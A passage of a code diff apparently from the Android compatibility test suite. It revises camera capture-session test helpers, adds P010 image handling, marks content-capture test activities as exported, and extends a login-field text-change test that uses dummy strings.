-        stillRequest.addTarget(mPreviewSurface);
-        for (int i = 0; i < readers.length; i++) {
-            stillRequest.addTarget(readers[i].getSurface());
-        }
+        boolean useSessionKeys = isFpsRangeASessionKey(ch);
+        configureAndSetCameraSession(outputSurfaces, useSessionKeys, previewRequest);
 
         // Start preview.
         mTestRule.getCameraSession().setRepeatingRequest(
-                previewRequest.build(), resultListener, mTestRule.getHandler());
+                previewRequest, resultListener, mTestRule.getHandler());
 
         return readers;
     }
 
     /**
+     * Helper function to check if TARGET_FPS_RANGE is a session parameter
+     */
+    private boolean isFpsRangeASessionKey(CameraCharacteristics ch) {
+        List<CaptureRequest.Key<?>> sessionKeys = ch.getAvailableSessionKeys();
+        return sessionKeys != null &&
+                sessionKeys.contains(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE);
+    }
+
+    /**
+     * Helper function to configure camera session using parameters provided.
+     */
+    private void configureAndSetCameraSession(List<Surface> surfaces,
+            boolean useInitialRequest, CaptureRequest initialRequest)
+            throws CameraAccessException {
+        CameraCaptureSession cameraSession;
+        if (useInitialRequest) {
+            cameraSession = CameraTestUtils.configureCameraSessionWithParameters(
+                mTestRule.getCamera(), surfaces,
+                mTestRule.getCameraSessionListener(), mTestRule.getHandler(),
+                initialRequest);
+        } else {
+            cameraSession = CameraTestUtils.configureCameraSession(
+                mTestRule.getCamera(), surfaces,
+                mTestRule.getCameraSessionListener(), mTestRule.getHandler());
+        }
+        mTestRule.setCameraSession(cameraSession);
+    }
+
+    /**
      * Setup single capture configuration and start preview.
      *
-     * @param previewRequest The capture request to be used for preview
-     * @param stillRequest The capture request to be used for still capture
+     * @param previewBuilder The capture request builder to be used for preview
+     * @param stillBuilder The capture request builder to be used for still capture
      * @param previewSz Preview size
      * @param captureSz Still capture size
      * @param format The single capture image format
@@ -1274,11 +1286,13 @@
      * @param sessionListener Session listener
      * @param maxNumImages The max number of images set to the image reader
      * @param imageListener The single capture capture image listener
+     * @param useSessionKeys Create capture session using session keys from previewRequest
      */
-    private void prepareCaptureAndStartPreview(CaptureRequest.Builder previewRequest,
-            CaptureRequest.Builder stillRequest, Size previewSz, Size captureSz, int format,
+    private void prepareCaptureAndStartPreview(CaptureRequest.Builder previewBuilder,
+            CaptureRequest.Builder stillBuilder, Size previewSz, Size captureSz, int format,
             CaptureCallback resultListener, CameraCaptureSession.StateCallback sessionListener,
-            int maxNumImages, ImageReader.OnImageAvailableListener imageListener) throws Exception {
+            int maxNumImages, ImageReader.OnImageAvailableListener imageListener,
+            boolean  useSessionKeys) throws Exception {
         if ((captureSz == null) || (imageListener == null)) {
             throw new IllegalArgumentException("Invalid capture size or image listener!");
         }
@@ -1303,18 +1317,18 @@
         } else {
             mTestRule.setCameraSessionListener(new BlockingSessionCallback(sessionListener));
         }
-        mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
-                mTestRule.getCamera(), outputSurfaces,
-                mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
 
         // Configure the requests.
-        previewRequest.addTarget(mPreviewSurface);
-        stillRequest.addTarget(mPreviewSurface);
-        stillRequest.addTarget(mTestRule.getReaderSurface());
+        previewBuilder.addTarget(mPreviewSurface);
+        stillBuilder.addTarget(mPreviewSurface);
+        stillBuilder.addTarget(mTestRule.getReaderSurface());
+        CaptureRequest previewRequest = previewBuilder.build();
+
+        configureAndSetCameraSession(outputSurfaces, useSessionKeys, previewRequest);
 
         // Start preview.
         mTestRule.getCameraSession().setRepeatingRequest(
-                previewRequest.build(), resultListener, mTestRule.getHandler());
+                previewRequest, resultListener, mTestRule.getHandler());
     }
 
     /**
@@ -1365,48 +1379,64 @@
     }
 
     /**
-     * Stop preview for current camera device by closing the session.
+     * Stop the repeating requests of current camera.
      * Does _not_ wait for the device to go idle
      */
-    private void stopPreview() throws Exception {
+    private void stopRepeating() throws Exception {
         // Stop repeat, wait for captures to complete, and disconnect from surfaces
         if (mTestRule.getCameraSession() != null) {
             if (VERBOSE) Log.v(TAG, "Stopping preview");
-            mTestRule.getCameraSession().close();
-        }
-    }
-
-    /**
-     * Stop preview for current camera device by closing the session and waiting for it to close,
-     * resulting in an idle device.
-     */
-    private void stopPreviewAndDrain() throws Exception {
-        // Stop repeat, wait for captures to complete, and disconnect from surfaces
-        if (mTestRule.getCameraSession() != null) {
-            if (VERBOSE) Log.v(TAG, "Stopping preview and waiting for idle");
-            mTestRule.getCameraSession().close();
-            mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                    BlockingSessionCallback.SESSION_CLOSED,
-                    /*timeoutMs*/WAIT_FOR_RESULT_TIMEOUT_MS);
+            mTestRule.getCameraSession().stopRepeating();
         }
     }
 
     /**
      * Configure reader and preview outputs and wait until done.
+     *
+     * @return The preview capture request
      */
-    private void configureReaderAndPreviewOutputs() throws Exception {
+    private CaptureRequest configureReaderAndPreviewOutputs(
+            String id, boolean isColorOutputSupported)
+            throws Exception {
         if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
             throw new IllegalStateException("preview and reader surface must be initilized first");
         }
-        mTestRule.setCameraSessionListener(new BlockingSessionCallback());
-        List<Surface> outputSurfaces = new ArrayList<>();
-        if (mTestRule.getStaticInfo().isColorOutputSupported()) {
-            outputSurfaces.add(mPreviewSurface);
+
+        // Create previewBuilder
+        CaptureRequest.Builder previewBuilder =
+                mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+        if (isColorOutputSupported) {
+            previewBuilder.addTarget(mPreviewSurface);
         }
+        previewBuilder.addTarget(mTestRule.getReaderSurface());
+
+
+        // Figure out constant target FPS range no larger than 30fps
+        CameraCharacteristics ch = mTestRule.getStaticInfo().getCharacteristics();
+        StreamConfigurationMap config =
+                ch.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS,
+                config.getOutputMinFrameDuration(mImageReaderFormat, mPreviewSize));
+
+        List<Surface> outputSurfaces = new ArrayList<>();
         outputSurfaces.add(mTestRule.getReaderSurface());
-        mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
-                mTestRule.getCamera(), outputSurfaces,
-                mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
+        if (isColorOutputSupported) {
+            outputSurfaces.add(mPreviewSurface);
+            minFrameDuration = Math.max(minFrameDuration,
+                    config.getOutputMinFrameDuration(SurfaceTexture.class, mPreviewSize));
+        }
+        Range<Integer> targetRange =
+                CameraTestUtils.getSuitableFpsRangeForDuration(id,
+                        minFrameDuration, mTestRule.getStaticInfo());
+        previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+
+        // Create capture session
+        boolean useSessionKeys = isFpsRangeASessionKey(ch);
+        CaptureRequest previewRequest = previewBuilder.build();
+        mTestRule.setCameraSessionListener(new BlockingSessionCallback());
+        configureAndSetCameraSession(outputSurfaces, useSessionKeys, previewRequest);
+
+        return previewRequest;
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index a6c477c..14303c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -435,7 +435,13 @@
                 // Tested in ExtendedCameraCharacteristicsTest
                 return;
             case REQUEST_AVAILABLE_CAPABILITIES_SECURE_IMAGE_DATA:
-                // No other restrictions with other metadata keys which  are reliably testable.
+                if (!isCapabilityAvailable) {
+                    mCollector.expectTrue(
+                        "SCALER_DEFAULT_SECURE_IMAGE_SIZE must not present if the device" +
+                                "does not support SECURE_IMAGE_DATA capability",
+                        !mStaticInfo.areKeysAvailable(
+                                CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE));
+                }
                 return;
             default:
                 capabilityName = "Unknown";
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index 090aa6c..5576780 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -75,8 +75,6 @@
     private static final String TAG = "MultiViewTestCase";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
-    private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
-
     protected TextureView[] mTextureView =
             new TextureView[Camera2MultiViewCtsActivity.MAX_TEXTURE_VIEWS];
     protected Handler mHandler;
@@ -330,30 +328,6 @@
         camera.verifyCreateSessionWithConfigsFailure(configs);
     }
 
-    /**
-     * Wait until the SurfaceTexture available from the TextureView, then return it.
-     * Return null if the wait times out.
-     *
-     * @param timeOutMs The timeout value for the wait
-     * @return The available SurfaceTexture, return null if the wait times out.
-     */
-    protected SurfaceTexture getAvailableSurfaceTexture(long timeOutMs, TextureView view) {
-        long waitTime = timeOutMs;
-
-        while (!view.isAvailable() && waitTime > 0) {
-            long startTimeMs = SystemClock.elapsedRealtime();
-            SystemClock.sleep(SHORT_SLEEP_WAIT_TIME_MS);
-            waitTime -= (SystemClock.elapsedRealtime() - startTimeMs);
-        }
-
-        if (view.isAvailable()) {
-            return view.getSurfaceTexture();
-        } else {
-            Log.w(TAG, "Wait for SurfaceTexture available timed out after " + timeOutMs + "ms");
-            return null;
-        }
-    }
-
     public static class CameraPreviewListener implements TextureView.SurfaceTextureListener {
         private boolean mFirstPreviewAvailable = false;
         private final ConditionVariable mPreviewDone = new ConditionVariable();
diff --git a/tests/camera/src/android/hardware/cts/CameraGLTest.java b/tests/camera/src/android/hardware/cts/CameraGLTest.java
index a9e82ef..7478e79 100644
--- a/tests/camera/src/android/hardware/cts/CameraGLTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraGLTest.java
@@ -136,15 +136,15 @@
                 // Save the looper so that we can terminate this thread
                 // after we are done with it.
                 mLooper = Looper.myLooper();
-                // These must be instantiated outside the UI thread, since the
-                // UI thread will be doing a lot of waiting, stopping callbacks.
-                mCamera = Camera.open(cameraId);
                 try {
                     mIsExternalCamera = CameraUtils.isExternal(
                             mActivityRule.getActivity().getApplicationContext(), cameraId);
                 } catch (Exception e) {
                     Log.e(TAG, "Unable to query external camera!" + e);
                 }
+                // These must be instantiated outside the UI thread, since the
+                // UI thread will be doing a lot of waiting, stopping callbacks.
+                mCamera = Camera.open(cameraId);
                 mSurfaceTexture = new SurfaceTexture(mRenderer.getTextureID());
                 Log.v(TAG, "Camera " + cameraId + " is opened.");
                 startDone.open();
diff --git a/tests/camera/utils/Android.bp b/tests/camera/utils/Android.bp
index 403c114..4309a28 100644
--- a/tests/camera/utils/Android.bp
+++ b/tests/camera/utils/Android.bp
@@ -14,10 +14,6 @@
 
 // CtsCameraUtils package
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsCameraUtils",
 
@@ -35,3 +31,4 @@
     defaults: ["cts_error_prone_rules_tests"],
 
 }
+
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 6737b54..fbbd940 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1251,6 +1251,9 @@
      * (xstride = width, ystride = height for chroma and luma components).</p>
      *
      * <p>For JPEG, it returns a 1-D byte array contains a complete JPEG image.</p>
+     *
+     * <p>For YUV P010, it returns a byte array that contains Y plane first, followed
+     * by the interleaved U(Cb)/V(Cr) plane.</p>
      */
     public static byte[] getDataFromImage(Image image) {
         assertNotNull("Invalid image:", image);
@@ -1279,6 +1282,33 @@
             buffer.get(data);
             buffer.rewind();
             return data;
+        } else if (format == ImageFormat.YCBCR_P010) {
+            // P010 samples are stored within 16 bit values
+            int offset = 0;
+            int bytesPerPixelRounded = (ImageFormat.getBitsPerPixel(format) + 7) / 8;
+            data = new byte[width * height * bytesPerPixelRounded];
+            assertTrue("Unexpected number of planes, expected " + 3 + " actual " + planes.length,
+                    planes.length == 3);
+            for (int i = 0; i < 2; i++) {
+                buffer = planes[i].getBuffer();
+                assertNotNull("Fail to get bytebuffer from plane", buffer);
+                buffer.rewind();
+                rowStride = planes[i].getRowStride();
+                if (VERBOSE) {
+                    Log.v(TAG, "rowStride " + rowStride);
+                    Log.v(TAG, "width " + width);
+                    Log.v(TAG, "height " + height);
+                }
+                int h = (i == 0) ? height : height / 2;
+                for (int row = 0; row < h; row++) {
+                    int length = rowStride;
+                    buffer.get(data, offset, length);
+                    offset += length;
+                }
+                if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
+                buffer.rewind();
+            }
+            return data;
         }
 
         int offset = 0;
@@ -1349,6 +1379,7 @@
             case ImageFormat.YUV_420_888:
             case ImageFormat.NV21:
             case ImageFormat.YV12:
+            case ImageFormat.YCBCR_P010:
                 assertEquals("YUV420 format Images should have 3 planes", 3, planes.length);
                 break;
             case ImageFormat.JPEG:
@@ -1806,6 +1837,9 @@
             case ImageFormat.JPEG:
                 validateJpegData(data, width, height, filePath);
                 break;
+            case ImageFormat.YCBCR_P010:
+                validateP010Data(data, width, height, format, image.getTimestamp(), filePath);
+                break;
             case ImageFormat.YUV_420_888:
             case ImageFormat.YV12:
                 validateYuvData(data, width, height, format, image.getTimestamp(), filePath);
@@ -1921,6 +1955,21 @@
         }
     }
 
+    private static void validateP010Data(byte[] p010Data, int width, int height, int format,
+            long ts, String filePath) {
+        if (VERBOSE) Log.v(TAG, "Validating P010 data");
+        // The P010 10 bit samples are stored in two bytes so the size needs to be adjusted
+        // accordingly.
+        int bytesPerPixelRounded = (ImageFormat.getBitsPerPixel(format) + 7) / 8;
+        int expectedSize = width * height * bytesPerPixelRounded;
+        assertEquals("P010 data doesn't match", expectedSize, p010Data.length);
+
+        if (DEBUG && filePath != null) {
+            String fileName =
+                    filePath + "/" + width + "x" + height + "_" + ts / 1e6 + ".p010";
+            dumpFile(fileName, p010Data);
+        }
+    }
     private static void validateRaw16Data(byte[] rawData, int width, int height, int format,
             long ts, String filePath) {
         if (VERBOSE) Log.v(TAG, "Validating raw data");
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index bf4397c..73865fa 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2575,6 +2575,26 @@
     }
 
     /**
+     * Check if rotate and crop is supported
+     */
+    public boolean isRotateAndCropSupported() {
+        int[] availableRotateAndCropModes = mCharacteristics.get(
+                CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES);
+
+        if (availableRotateAndCropModes == null) {
+            return false;
+        }
+
+        for (int mode : availableRotateAndCropModes) {
+            if (mode != CameraMetadata.SCALER_ROTATE_AND_CROP_NONE) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
      * Check if distortion correction is supported.
      */
     public boolean isDistortionCorrectionSupported() {
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index 72a8318..69b422b 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -17,12 +17,16 @@
 package android.hardware.cts.helpers;
 
 import android.content.Context;
+import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.os.Bundle;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.TextureView;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -37,6 +41,9 @@
     private static final float FOCAL_LENGTH_TOLERANCE = .01f;
 
 
+    private static final String TAG = "CameraUtils";
+    private static final long SHORT_SLEEP_WAIT_TIME_MS = 100;
+
     /**
      * Returns {@code true} if this device only supports {@code LEGACY} mode operation in the
      * Camera2 API for the given camera ID.
@@ -236,4 +243,29 @@
         }
         return cameraIds;
     }
+
+    /**
+     * Wait until the SurfaceTexture available from the TextureView, then return it.
+     * Return null if the wait times out.
+     *
+     * @param timeOutMs The timeout value for the wait
+     * @return The available SurfaceTexture, return null if the wait times out.
+    */
+    public static SurfaceTexture getAvailableSurfaceTexture(long timeOutMs, TextureView view) {
+        long waitTime = timeOutMs;
+
+        while (!view.isAvailable() && waitTime > 0) {
+            long startTimeMs = SystemClock.elapsedRealtime();
+            SystemClock.sleep(SHORT_SLEEP_WAIT_TIME_MS);
+            waitTime -= (SystemClock.elapsedRealtime() - startTimeMs);
+        }
+
+        if (view.isAvailable()) {
+            return view.getSurfaceTexture();
+        } else {
+            Log.w(TAG, "Wait for SurfaceTexture available timed out after " + timeOutMs + "ms");
+            return null;
+        }
+    }
+
 }
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index 6cc972d..83f5cab 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsContentCaptureServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
index a4b456e..1ec33f9 100644
--- a/tests/contentcaptureservice/AndroidManifest.xml
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -14,116 +14,125 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.contentcaptureservice.cts"
-    android:targetSandboxVersion="2">
+     package="android.contentcaptureservice.cts"
+     android:targetSandboxVersion="2">
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".BlankActivity"
-                  android:label="Blank"
-                  android:taskAffinity=".BlankActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="Blank"
+             android:taskAffinity=".BlankActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".BlankWithTitleActivity"
-                  android:label="Blanka"
-                  android:taskAffinity=".BlankWithTitleActivity">
+             android:label="Blanka"
+             android:taskAffinity=".BlankWithTitleActivity"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".LoginActivity"
-                  android:label="Login"
-                  android:taskAffinity=".LoginActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="Login"
+             android:taskAffinity=".LoginActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".ResizingEditActivity"
-                  android:label="ReizingEdit"
-                  android:taskAffinity=".ResizingEditActivity"
-                  android:windowSoftInputMode="adjustResize"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="ReizingEdit"
+             android:taskAffinity=".ResizingEditActivity"
+             android:windowSoftInputMode="adjustResize"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".ChildlessActivity"
-                  android:label="Childless"
-                  android:taskAffinity=".ChildlessActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="Childless"
+             android:taskAffinity=".ChildlessActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name=".CustomViewActivity"
-                  android:label="CustomView"
-                  android:taskAffinity=".CustomViewActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="CustomView"
+             android:taskAffinity=".CustomViewActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name=".OutOfProcessActivity"
-                  android:label="Oop"
-                  android:taskAffinity=".OutOfProcessActivity"
-                  android:theme="@android:style/Theme.NoTitleBar"
-                  android:process="android.contentcapture.cts.outside">
+             android:label="Oop"
+             android:taskAffinity=".OutOfProcessActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:process="android.contentcapture.cts.outside"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name=".DataSharingActivity"
-                  android:label="DataSharing"
-                  android:taskAffinity=".DataSharingActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="DataSharing"
+             android:taskAffinity=".DataSharingActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <receiver android:name=".SelfDestructReceiver"
-            android:exported="true"
-            android:process="android.contentcapture.cts.outside"/>
+             android:exported="true"
+             android:process="android.contentcapture.cts.outside"/>
 
-        <service
-            android:name=".CtsContentCaptureService"
-            android:label="CtsContentCaptureService"
-            android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE">
+        <service android:name=".CtsContentCaptureService"
+             android:label="CtsContentCaptureService"
+             android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentcapture.ContentCaptureService" />
+                <action android:name="android.service.contentcapture.ContentCaptureService"/>
             </intent-filter>
         </service>
 
@@ -137,10 +146,9 @@
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the AutoFill Framework APIs."
-        android:targetPackage="android.contentcaptureservice.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the AutoFill Framework APIs."
+         android:targetPackage="android.contentcaptureservice.cts">
     </instrumentation>
 
 </manifest>
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
index 3d31903..02188bc 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOutsideOfPackageActivity",
     defaults: ["cts_defaults"],
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
index ea2fa41..164cdcf 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
@@ -14,31 +14,32 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.contentcaptureservice.cts2"
-          android:targetSandboxVersion="2">
+     package="android.contentcaptureservice.cts2"
+     android:targetSandboxVersion="2">
 
     <application>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".OutsideOfPackageActivity"
-                  android:label="OutsideOfPackage"
-                  android:taskAffinity=".OutsideOfPackageActivity"
-                  android:theme="@android:style/Theme.NoTitleBar">
+             android:label="OutsideOfPackage"
+             android:taskAffinity=".OutsideOfPackageActivity"
+             android:theme="@android:style/Theme.NoTitleBar"
+             android:exported="true">
             <intent-filter>
                 <!-- This intent filter is not really needed by CTS, but it makes easier to launch
-                     this app during CTS development... -->
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                                         this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for the AutoFill Framework APIs."
-        android:targetPackage="android.contentcaptureservice.cts2" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests for the AutoFill Framework APIs."
+         android:targetPackage="android.contentcaptureservice.cts2">
     </instrumentation>
 
 </manifest>
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index aa4fa9e..9d2375f 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -425,9 +425,15 @@
         activity.syncRunOnUiThread(() -> {
             activity.mUsername.setText("a");
             activity.mUsername.setText("ab");
+            activity.mUsername.setText("");
+            activity.mUsername.setText("abc");
 
             activity.mPassword.setText("d");
+            activity.mPassword.setText("");
+            activity.mPassword.setText("");
             activity.mPassword.setText("de");
+            activity.mPassword.setText("def");
+            activity.mPassword.setText("");
 
             activity.mUsername.setText("abc");
         });
@@ -440,15 +446,20 @@
 
         assertRightActivity(session, sessionId, activity);
 
-        final int additionalEvents = 3;
+        final int additionalEvents = 8;
         final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
                 additionalEvents);
 
         final int i = LoginActivity.MIN_EVENTS;
 
         assertViewTextChanged(events, i, activity.mUsername.getAutofillId(), "ab");
-        assertViewTextChanged(events, i + 1, activity.mPassword.getAutofillId(), "de");
+        assertViewTextChanged(events, i + 1, activity.mUsername.getAutofillId(), "");
         assertViewTextChanged(events, i + 2, activity.mUsername.getAutofillId(), "abc");
+        assertViewTextChanged(events, i + 3, activity.mPassword.getAutofillId(), "d");
+        assertViewTextChanged(events, i + 4, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 5, activity.mPassword.getAutofillId(), "def");
+        assertViewTextChanged(events, i + 6, activity.mPassword.getAutofillId(), "");
+        assertViewTextChanged(events, i + 7, activity.mUsername.getAutofillId(), "abc");
 
         activity.assertInitialViewsDisappeared(events, additionalEvents);
     }
diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp
index 4f55874..cc285ea 100644
--- a/tests/contentsuggestions/Android.bp
+++ b/tests/contentsuggestions/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsContentSuggestionsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/contentsuggestions/AndroidManifest.xml b/tests/contentsuggestions/AndroidManifest.xml
index 0d47cc2..7786845 100644
--- a/tests/contentsuggestions/AndroidManifest.xml
+++ b/tests/contentsuggestions/AndroidManifest.xml
@@ -14,28 +14,28 @@
